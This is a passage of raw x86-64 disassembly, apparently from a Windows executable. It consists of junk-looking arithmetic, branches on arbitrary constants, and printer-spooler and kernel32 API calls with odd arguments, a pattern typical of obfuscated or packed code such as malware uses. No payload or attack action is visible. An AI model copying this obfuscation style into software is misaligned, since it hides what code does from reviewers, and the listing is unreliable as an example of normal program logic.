mov rax, qword [rsp + 0x35c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3648]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x35c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x36f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7bc]
add eax, ecx
mov rcx, qword [rsp + 0x3668]
mov word [rcx], ax
movsx eax, byte [rsp + 0xe1]
mov rcx, qword [rsp + 0x35d0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe6], al
movzx eax, word [rsp + 0x7b8]
mov rcx, qword [rsp + 0x36d8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x34e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3650]
mov rcx, qword [rsp + 0x3690]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x1c5c], eax
mov rax, qword [rsp + 0x3508]
mov rcx, qword [rsp + 0x34c8]
mov qword [rsp + 0x3720], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3720]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3688]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3678]
shr rax, cl
mov rcx, qword [rsp + 0x3700]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3648]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x35c8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x14017c010], al
movzx eax, byte [rsp + 0xe2]
movzx ecx, byte [rsp + 0xe4]
sub eax, ecx
mov rcx, qword [rsp + 0x35a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x34e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7b4]
add eax, ecx
mov rcx, qword [rsp + 0x3560]
mov word [rcx], ax
movsx eax, word [rsp + 0x720]
movsx ecx, word [rsp + 0x7bc]
and eax, ecx
mov rcx, qword [rsp + 0x3668]
mov word [rcx], ax
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x35d0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x35a0]
mov byte [rcx], al
movzx eax, byte [rsp + 0xe0]
mov rcx, qword [rsp + 0x35a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe3], al
mov rax, qword [rsp + 0x3510]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1c90]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3690]
mov dword [rcx], eax
mov rax, qword [0x14017ced8]
mov rcx, qword [0x14017c008]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3678], rax
mov rax, qword [rsp + 0x3660]
mov rcx, qword [rsp + 0x34d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1bb8], eax
mov rax, qword [rsp + 0x3640]
mov rcx, qword [rsp + 0x3528]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3280], rax
cmp dword [rsp + 0x1bdc], 0xa5ed
jne 0x140059190
mov rax, qword [rsp + 0x36a8]
movsx eax, word [rax]
mov dword [rsp + 0x1cb4], eax
cmp dword [rsp + 0x1cb4], 0x1c23
je 0x14005976c
cmp dword [rsp + 0x1cb4], 0x4ea7
je 0x1400596be
jmp 0x140059847
mov rax, qword [rsp + 0x3280]
mov qword [rsp + 0x3728], rax
movabs rax, 0x154567c904cdb307
cmp qword [rsp + 0x3728], rax
je 0x1400596f8
movabs rax, 0x7c37e12d401f27a3
cmp qword [rsp + 0x3728], rax
je 0x14005973d
jmp 0x140059767
mov rax, qword [rsp + 0x3700]
mov rcx, qword [rsp + 0x3688]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x14017ced8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3668]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x36a8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x7bc], ax
jmp 0x140059767
lea r9, [rsp + 0x34f0]
mov r8d, 0xa4
mov rdx, qword [rsp + 0x35f0]
mov rcx, qword [rsp + 0x3628]
call sub.WINSPOOL.DRV_SetFormA
mov dword [rsp + 0x1cac], eax
jmp 0x140059847
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe5]
sar eax, cl
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
mov rax, qword [rsp + 0x3510]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3690]
mov qword [rsp + 0x3730], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3730]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x3650]
mov edx, dword [rsp + 0x1ba8]
mov ecx, dword [rcx]
or ecx, edx
cmp eax, ecx
je 0x140059847
mov rax, qword [rsp + 0x35c8]
movzx eax, byte [rax]
mov byte [rsp + 0x1cb8], al
cmp byte [rsp + 0x1cb8], 0x4d
je 0x140059815
cmp byte [rsp + 0x1cb8], 0x71
je 0x1400597f3
jmp 0x140059847
movzx eax, word [rsp + 0x7c4]
movzx ecx, word [rsp + 0x7b8]
xor eax, ecx
mov word [rsp + 0x7c0], ax
call fcn.14012f7e0
nop
jmp 0x140059847
mov dword [rsp + 0x20], 0x69
lea r9, [rsp + 0x7c0]
mov r8d, 0xb0
mov rdx, qword [rsp + 0x35f0]
mov rcx, qword [rsp + 0x3738]
call sub.WINSPOOL.DRV_SetPrinterDataA
mov dword [rsp + 0x1bb8], eax
movsx eax, word [rsp + 0x7bc]
mov dword [rsp + 0x1cbc], eax
cmp dword [rsp + 0x1cbc], 0
je 0x140059876
cmp dword [rsp + 0x1cbc], 0x5cd8
je 0x140059920
jmp 0x14005994b
mov rax, qword [rsp + 0x36d8]
movzx eax, word [rax]
mov dword [rsp + 0x1cc0], eax
cmp dword [rsp + 0x1cc0], 0xadf
je 0x140059897
jmp 0x140059913
movzx eax, word [rsp + 0x7b4]
mov rcx, qword [rsp + 0x3560]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x34e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x35c8]
movzx eax, byte [rax]
mov byte [rsp + 0x1cc4], al
cmp byte [rsp + 0x1cc4], 0x93
je 0x1400598d5
jmp 0x1400598f3
mov rax, qword [rsp + 0x3560]
movzx edx, word [rax]
mov rax, qword [rsp + 0x36d8]
movzx ecx, word [rax]
call fcn.14012fec0
nop
jmp 0x140059913
mov rax, qword [0x14017ced8]
mov rcx, qword [rsp + 0x3700]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3678], rax
mov dword [rsp + 0x1cc8], 0x2509
jmp 0x14005994b
mov rax, qword [rsp + 0x34d0]
mov ecx, dword [rsp + 0x1bb8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x34d0]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetThreadLocale]
mov word [rsp + 0x7b8], ax
mov eax, dword [rsp + 0x1bac]
mov ecx, dword [rsp + 0x1bf8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3650]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3680]
mov rcx, qword [rsp + 0x3640]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3508], rax
movzx eax, byte [rsp + 0xe0]
mov rcx, qword [rsp + 0x3648]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017cee0]
mov byte [rcx], al
movzx eax, byte [0x14017c010]
movzx ecx, byte [rsp + 0xe0]
sub eax, ecx
mov byte [rsp + 0xe4], al
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x35d0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe1], al
movzx eax, byte [rsp + 0xe2]
mov rcx, qword [0x14017cee0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3648]
mov byte [rcx], al
mov eax, dword [rsp + 0x1c08]
sub eax, 0x7d
mov dword [rsp + 0x1c08], eax
movsx eax, word [rsp + 0x7bc]
mov rcx, qword [rsp + 0x3668]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x36a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3658]
mov rcx, qword [rsp + 0x34c8]
mov qword [rsp + 0x3740], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3740]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x3508], rax
mov eax, dword [rsp + 0x1bc4]
mov ecx, dword [rsp + 0x1b98]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3660]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3700]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x14017c008]
shl rax, cl
mov qword [rsp + 0x3678], rax
mov rax, qword [rsp + 0x3650]
mov ecx, dword [rsp + 0x1bac]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1bf8], eax
mov rax, qword [rsp + 0x35a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe4]
add eax, ecx
mov byte [0x14017c010], al
movzx eax, word [rsp + 0x7c0]
movzx ecx, word [rsp + 0x7b4]
add eax, ecx
mov rcx, qword [rsp + 0x36d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x35a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x35d0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
movsx eax, word [rsp + 0x7c8]
mov rcx, qword [rsp + 0x36f8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x36a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x36f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7bc]
and eax, ecx
mov word [rsp + 0x7c8], ax
movzx eax, word [rsp + 0x7b4]
movzx ecx, word [rsp + 0x7c4]
sub eax, ecx
mov word [rsp + 0x7c0], ax
mov rax, qword [rsp + 0x3690]
mov ecx, dword [rsp + 0x1c90]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3700]
mov rax, qword [rax]
mov rcx, qword [0x14017c008]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3678], rax
mov rax, qword [rsp + 0x3640]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3508]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3280], rax
mov rax, qword [rsp + 0x3688]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3678]
xor rcx, rax
mov rax, rcx
mov rcx, qword [0x14017ced8]
mov qword [rcx], rax
movsx eax, word [rsp + 0x7c8]
movsx ecx, word [rsp + 0x720]
or eax, ecx
mov rcx, qword [rsp + 0x36f8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xe0]
mov rcx, qword [rsp + 0x3648]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xe2], al
cmp dword [rsp + 0x1c08], 0x8646
jae 0x14005994b
lea rax, [rsp + 0xe1]
mov qword [rsp + 0x3748], rax
mov dword [rsp + 0x1ccc], 0xad0b
movsx eax, word [rsp + 0x7bc]
mov dword [rsp + 0x1cd0], eax
cmp dword [rsp + 0x1cd0], 0xdbc
je 0x140059c6b
jmp 0x140059d7c
movzx eax, word [rsp + 0x7c4]
movzx ecx, word [rsp + 0x7b4]
shl eax, cl
mov rcx, qword [rsp + 0x34e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3688]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3678]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3700]
mov rcx, qword [rcx]
mov rdx, qword [0x14017c008]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jae 0x140059d26
mov rax, qword [rsp + 0x3678]
mov qword [rsp + 0x3750], rax
movabs rax, 0x944a2bae75971ad3
cmp qword [rsp + 0x3750], rax
je 0x140059ce4
jmp 0x140059d05
movzx eax, byte [rsp + 0xe3]
movzx ecx, byte [rsp + 0xe4]
sub eax, ecx
mov byte [rsp + 0xe2], al
call fcn.14012f7e0
nop
jmp 0x140059d24
mov rax, qword [rsp + 0x34d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1b98]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3660]
mov dword [rcx], eax
jmp 0x140059d77
movzx eax, byte [rsp + 0xe2]
mov rcx, qword [0x14017cee0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x35a8]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0x3648]
movzx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jle 0x140059d77
mov rax, qword [rsp + 0x3688]
mov rcx, qword [rsp + 0x3700]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x3678], rax
jmp 0x140059e25
mov rax, qword [rsp + 0x3690]
mov eax, dword [rax]
mov dword [rsp + 0x1cd4], eax
cmp dword [rsp + 0x1cd4], 0x298c66ed
je 0x140059e04
cmp dword [rsp + 0x1cd4], 0x4c0dfa5b
je 0x140059da9
jmp 0x140059e25
lea rax, [rsp + 0x14730]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0xe6]
mov qword [rsp + 0x20], rax
mov r9d, 0x86
lea r8, [rsp + 0x3700]
mov edx, 0x46
mov rcx, qword [rsp + 0x35d8]
call sub.WINSPOOL.DRV_EnumFormsA
mov dword [rsp + 0x1bd4], eax
mov rax, qword [rsp + 0x34d0]
mov edx, dword [rax]
mov rcx, qword [rsp + 0x3280]
call fcn.140130970
nop
jmp 0x140059e25
mov rax, qword [rsp + 0x34c8]
mov rcx, qword [rsp + 0x3658]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3680]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3700]
mov rax, qword [rax]
mov qword [rsp + 0x3758], rax
movabs rax, 0x4eabd5549c0d2849
cmp qword [rsp + 0x3758], rax
je 0x140059e4e
jmp 0x140059eba
mov rax, qword [rsp + 0x35a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe4]
shl eax, cl
mov rcx, qword [rsp + 0x3648]
mov byte [rcx], al
movsx eax, word [rsp + 0x7bc]
movsx ecx, word [rsp + 0x7c8]
sar eax, cl
mov word [rsp + 0x720], ax
mov dword [rsp + 0x20], 0xb3
mov r9d, 0x1f
mov r8d, 0xbc
mov edx, 0xb0
mov rcx, qword [rsp + 0x3578]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x1cd8], eax
jmp 0x14012e712
mov eax, dword [rsp + 0x1ba8]
mov ecx, dword [rsp + 0x1bac]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3650]
mov rdx, qword [rsp + 0x3510]
mov edx, dword [rdx]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jge 0x140059f05
mov rax, qword [rsp + 0x3510]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1c5c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3650]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3700]
mov rax, qword [rax]
mov qword [rsp + 0x3760], rax
cmp qword [rsp + 0x3760], 0
je 0x140059f39
movabs rax, 0x2ba16d57b62242b0
cmp qword [rsp + 0x3760], rax
je 0x140059f7a
jmp 0x140059f80
lea rax, [rsp + 0x3678]
mov qword [rsp + 0x3768], rax
mov rax, qword [rsp + 0x3178]
mov rcx, qword [rsp + 0x3280]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3680]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1ca0]
mov dword [rsp + 0x1cdc], eax
jmp 0x140059f80
call fcn.14012f7e0
nop
mov rax, qword [rsp + 0x3660]
mov eax, dword [rax]
mov dword [rsp + 0x1ce0], eax
cmp dword [rsp + 0x1ce0], 0x349e3f23
je 0x140059fb4
cmp dword [rsp + 0x1ce0], 0xce5b05dd
je 0x14005a0a8
jmp 0x14005a139
mov rax, qword [rsp + 0x35a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe4]
add eax, ecx
mov byte [rsp + 0xe0], al
mov rax, qword [rsp + 0x35d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x35a0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3748]
mov byte [rcx], al
mov eax, dword [rsp + 0x1c5c]
mov dword [rsp + 0x1ce4], eax
cmp dword [rsp + 0x1ce4], 0x3505ef6c
je 0x14005a01f
cmp dword [rsp + 0x1ce4], 0x7eaedabf
je 0x14005a027
jmp 0x14005a0a3
call fcn.14012f7e0
nop
jmp 0x14005a0a3
mov r8d, 0xc1
lea rdx, [rsp + 0x149e0]
mov rcx, qword [rsp + 0x3770]
call qword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
mov dword [rsp + 0x1c98], eax
movsx eax, word [rsp + 0x7bc]
movsx ecx, word [rsp + 0x7c8]
add eax, ecx
mov rcx, qword [rsp + 0x36f8]
mov word [rcx], ax
movzx eax, word [rsp + 0x7b8]
mov rcx, qword [rsp + 0x34c0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x7b4], ax
movsx eax, byte [rsp + 0xe1]
mov rcx, qword [rsp + 0x35d0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x35a0]
mov byte [rcx], al
jmp 0x14005a139
mov rax, qword [rsp + 0x3680]
mov rcx, qword [rsp + 0x3640]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x3508], rax
lea rax, [rsp + 0x3768]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x146f8]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xbd
lea rax, [rsp + 0x3668]
mov qword [rsp + 0x20], rax
mov r9d, 0xcf
mov r8d, 0xc3
mov edx, 0xfd
mov rcx, qword [rsp + 0x34f0]
call sub.WINSPOOL.DRV_EnumJobsA
mov dword [rsp + 0x1be4], eax
mov rax, qword [rsp + 0x3560]
movzx edx, word [rax]
mov rax, qword [rsp + 0x34c0]
movzx ecx, word [rax]
call fcn.14012fec0
nop
movsx eax, byte [rsp + 0xe6]
movsx ecx, byte [rsp + 0xe5]
sar eax, cl
mov byte [0x14017c011], al
cmp dword [rsp + 0x1c58], 0x5720
jbe 0x14005a319
mov rax, qword [rsp + 0x3690]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1c90]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3650]
mov dword [rcx], eax
mov rax, qword [rsp + 0x34d0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3660]
mov qword [rsp + 0x3778], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3778]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x3660]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3700]
mov rcx, qword [0x14017c008]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3678], rax
mov rax, qword [rsp + 0x34c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x34e8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x7c4], ax
mov eax, dword [rsp + 0x1c58]
sub eax, 0xf1
mov dword [rsp + 0x1c58], eax
movsx eax, word [rsp + 0x7bc]
mov rcx, qword [rsp + 0x3668]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x36a8]
mov word [rcx], ax
movsx eax, byte [rsp + 0xe1]
movsx ecx, byte [rsp + 0xe5]
add eax, ecx
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
movzx eax, byte [rsp + 0xe4]
mov rcx, qword [rsp + 0x35c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe2], al
mov rax, qword [rsp + 0x36f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7bc]
sub eax, ecx
mov word [rsp + 0x720], ax
mov rax, qword [rsp + 0x35c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe0]
sub eax, ecx
mov rcx, qword [0x14017cee0]
mov byte [rcx], al
mov rax, qword [rsp + 0x3508]
mov rcx, qword [rsp + 0x3178]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3658], rax
mov rax, qword [rsp + 0x3660]
mov ecx, dword [rsp + 0x1bb8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x34d0]
mov dword [rcx], eax
mov rax, qword [0x14017c008]
mov rcx, qword [rsp + 0x3678]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3768]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3748]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x35a0]
mov byte [rcx], al
jmp 0x14005a151
movzx eax, word [rsp + 0x7b4]
mov rcx, qword [rsp + 0x3560]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x36d8]
mov word [rcx], ax
mov eax, dword [rsp + 0x1c48]
add eax, 0xa8
mov dword [rsp + 0x1c48], eax
mov rax, qword [rsp + 0x3668]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x720]
shl eax, cl
mov rcx, qword [rsp + 0x36f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x35c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe0]
sar eax, cl
mov rcx, qword [rsp + 0x3648]
mov byte [rcx], al
mov rax, qword [rsp + 0x3560]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7b8]
add eax, ecx
mov rcx, qword [rsp + 0x36d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x35a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x35c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017cee0]
mov byte [rcx], al
mov rax, qword [rsp + 0x3680]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3280]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3658], rax
mov rax, qword [rsp + 0x3510]
mov ecx, dword [rsp + 0x1bac]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1bf8], eax
mov rax, qword [rsp + 0x3768]
mov rcx, qword [0x14017ced8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3700]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3648]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x35a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe3], al
mov rax, qword [rsp + 0x34e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7c4]
sub eax, ecx
mov word [rsp + 0x7c0], ax
mov rax, qword [rsp + 0x3668]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x36f8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x7c8], ax
movzx eax, byte [rsp + 0xe0]
mov rcx, qword [rsp + 0x3648]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe4], al
mov rax, qword [rsp + 0x35d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3748]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe1], al
mov rax, qword [rsp + 0x3700]
mov rcx, qword [rsp + 0x3688]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [0x14017ced8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3680]
mov rcx, qword [rsp + 0x3528]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x3508], rax
mov rax, qword [rsp + 0x3660]
mov ecx, dword [rsp + 0x1b98]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x1bb8], eax
mov eax, dword [rsp + 0x1bac]
movzx ecx, al
mov eax, dword [rsp + 0x1bf8]
sar eax, cl
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x35a0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
mov rax, qword [rsp + 0x35a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe4]
and eax, ecx
mov rcx, qword [rsp + 0x3648]
mov byte [rcx], al
mov rax, qword [rsp + 0x36a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3668]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x720], ax
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3748]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe5], al
movzx eax, word [rsp + 0x7b4]
mov rcx, qword [rsp + 0x3560]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x34e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3768]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3678]
add rcx, rax
mov rax, rcx
mov qword [0x14017c008], rax
mov rax, qword [rsp + 0x3688]
mov rcx, qword [0x14017c008]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3678], rax
mov eax, dword [rsp + 0x1ba8]
mov ecx, dword [rsp + 0x1bac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1bf8], eax
mov rax, qword [rsp + 0x3660]
mov rcx, qword [rsp + 0x34d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1ca0], eax
mov rax, qword [rsp + 0x3748]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe5]
add eax, ecx
mov byte [rsp + 0xe1], al
mov rax, qword [rsp + 0x3668]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7c8]
xor eax, ecx
mov word [rsp + 0x720], ax
mov rax, qword [rsp + 0x3648]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x35c8]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x3648]
mov byte [rcx], al
movzx eax, word [rsp + 0x7b8]
movzx ecx, word [rsp + 0x7c0]
shl eax, cl
mov rcx, qword [rsp + 0x34e8]
mov word [rcx], ax
movsx eax, word [rsp + 0x7c8]
movsx ecx, word [rsp + 0x720]
sar eax, cl
mov rcx, qword [rsp + 0x3668]
mov word [rcx], ax
mov rax, qword [0x14017c008]
mov rcx, qword [rsp + 0x3678]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3768]
mov qword [rcx], rax
mov rax, qword [rsp + 0x35c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x35a8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x14017cee0]
mov byte [rcx], al
mov rax, qword [rsp + 0x3650]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1bac]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1b98]
mov ecx, dword [rsp + 0x1bc4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3660]
mov dword [rcx], eax
movzx eax, word [rsp + 0x7b4]
mov rcx, qword [rsp + 0x36d8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x34c0]
mov word [rcx], ax
movsx eax, byte [rsp + 0xe1]
movsx ecx, byte [rsp + 0xe5]
and eax, ecx
mov rcx, qword [rsp + 0x3748]
mov byte [rcx], al
mov rax, qword [rsp + 0x3648]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x35c8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x35a8]
mov byte [rcx], al
movsx eax, word [rsp + 0x7c8]
movsx ecx, word [rsp + 0x720]
sub eax, ecx
mov rcx, qword [rsp + 0x3668]
mov word [rcx], ax
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe6]
sub eax, ecx
mov rcx, qword [rsp + 0x3748]
mov byte [rcx], al
mov rax, qword [rsp + 0x3768]
mov rcx, qword [0x14017c008]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3700]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xe3]
mov rcx, qword [rsp + 0x35a8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x14017c010], al
mov eax, dword [rsp + 0x1c5c]
mov ecx, dword [rsp + 0x1ba8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3690]
mov dword [rcx], eax
mov rax, qword [rsp + 0x34d0]
mov ecx, dword [rsp + 0x1ca0]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x3660]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3648]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x35c8]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3648]
mov byte [rcx], al
mov rax, qword [rsp + 0x36f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x36a8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x7bc], ax
mov rax, qword [rsp + 0x34e8]
